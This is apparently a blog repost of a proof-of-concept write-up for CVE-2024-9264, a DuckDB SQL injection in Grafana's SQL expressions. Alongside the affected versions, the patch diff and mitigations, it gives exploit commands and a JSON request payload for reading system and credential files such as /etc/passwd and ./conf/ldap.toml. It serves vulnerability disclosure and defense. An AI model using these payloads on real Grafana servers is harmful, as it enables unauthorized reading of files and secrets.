(Credit: Timon – stock.adobe.com)
This PoC demonstrates how to exploit CVE-2024-9264 to execute DuckDB SQL queries using an authenticated user and read arbitrary files from the file system.
Setup:
Install the necessary dependencies with the following command:
pip install -r requirements.txt
Usage (File Read Example):
python3 CVE-2024-9264.py -u user -p pass -f /etc/passwd http://localhost:3000
You can also execute arbitrary DuckDB queries, such as calling getenv
to retrieve environment variables:
python3 CVE-2024-9264.py -u user -p pass -q "SELECT getenv('PATH')" http://localhost:3000
A list of exploitable DuckDB functions can be found here.
Vulnerability Overview
CVE-2024-9264 is a DuckDB SQL injection vulnerability in Grafana’s experimental SQL expression feature. Any authenticated user can execute arbitrary DuckDB SQL queries by modifying expressions in Grafana dashboards.
Affected Versions:
Grafana OSS and Enterprise versions 11.0.0 - 11.0.5, 11.1.0 - 11.1.6, and 11.2.0 - 11.2.1.
Fixed Versions:
11.0.5+security-01 and later.
Finding the Patch
Grafana released special versions to address this vulnerability. To analyze the patch, you can compare the changes with the following commands:
git checkout v11.0.5+security-01
git diff 0421a8911cfc05a46c516fd9d033a51e52e51afe 70316b3e1418c9054017047e63c1c96abb26f495
This shows that the SQL expression feature was simply removed from the vulnerable versions.
+++ b/pkg/expr/sql/db.go
@@ -0,0 +1,26 @@
+package sql
+
+import (
+ "errors"
+
+ "github.com/grafana/grafana-plugin-sdk-go/data"
+)
+
+type DB struct {
+}
+
+func (db *DB) TablesList(rawSQL string) ([]string, error) {
+ return nil, errors.New("not implemented")
+}
+
+func (db *DB) RunCommands(commands []string) (string, error) {
+ return "", errors.New("not implemented")
+}
+
+func (db *DB) QueryFramesInto(name string, query string, frames []*data.Frame, f *data.Frame) error {
+ return errors.New("not implemented")
+}
+
+func NewInMemoryDB() *DB {
+ return &DB{}
+}
@@ -85,7 +84,7 @@ func (gr *SQLCommand) Execute(ctx context.Context, now time.Time, vars mathexp.V
rsp := mathexp.Results{}
- duckDB := duck.NewInMemoryDB()
+ duckDB := sql.NewInMemoryDB()
var frame = &data.Frame{}
err := duckDB.QueryFramesInto(gr.refID, gr.query, allFrames, frame);
if err != nil {
The patch fully removes the SQL expression feature, preventing the possibility of exploitation.
Exploiting the Vulnerability
1. Start Grafana:
Run Grafana with version 11.0.5:
docker run --name=grafana -p 3000:3000 grafana/grafana-enterprise:11.0.5
2.Modify Expression:
Create a dashboard with a “Math” expression, intercept the request using Burp, and change the datasource
type from math
to sql
. An HTTP request will be sent to /api/ds/query?ds_type=__expr__&expression=true&requestId=Q101
.
Here is a minimal JSON example to execute a DuckDB SQL query that reads an arbitrary file such as ./conf/ldap.toml
:
{
"queries": [
{
"refId": "B",
"datasource": {
"type": "__expr__",
"uid": "__expr__",
"name": "Expression"
},
"type": "sql",
"hide": false,
"expression": "SELECT content FROM read_blob(\"./conf/ldap.toml\")",
"window": ""
}
],
"from": "1729313027261",
"to": "1729334627261"
}
It is not necessary to actually have a dashboard to exploit this; it’s just an easy way to find the HTTP request that executes the query.
Exploit Possibility
It’s important to note that while this vulnerability is critical, its exploitability depends on whether the DuckDB binary is installed on the Grafana server. By default, Grafana does not include DuckDB, and there is no option to install it directly from the Grafana interface. For the vulnerability to be exploitable, an administrator must manually install DuckDB and add it to the Grafana server’s $PATH
.
If DuckDB is not present, the SQL injection vulnerability cannot be exploited, significantly reducing the likelihood of a successful exploit in default installations.
Mitigations
Update Grafana to the fixed versions and ensure that the DuckDB binary is not in the $PATH
if patching is delayed.
Acknowledgements
This PoC uses the ten framework developed by cfreal.
https://github.com/nollium/CVE-2024-9264/
This article is written by Duyan Intelligence.
I'm Carrie, a cybersecurity engineer and writer, working for SafeLine Team. SafeLine is an open source web application firewall, self-hosted, very easy to use.
Top comments (0)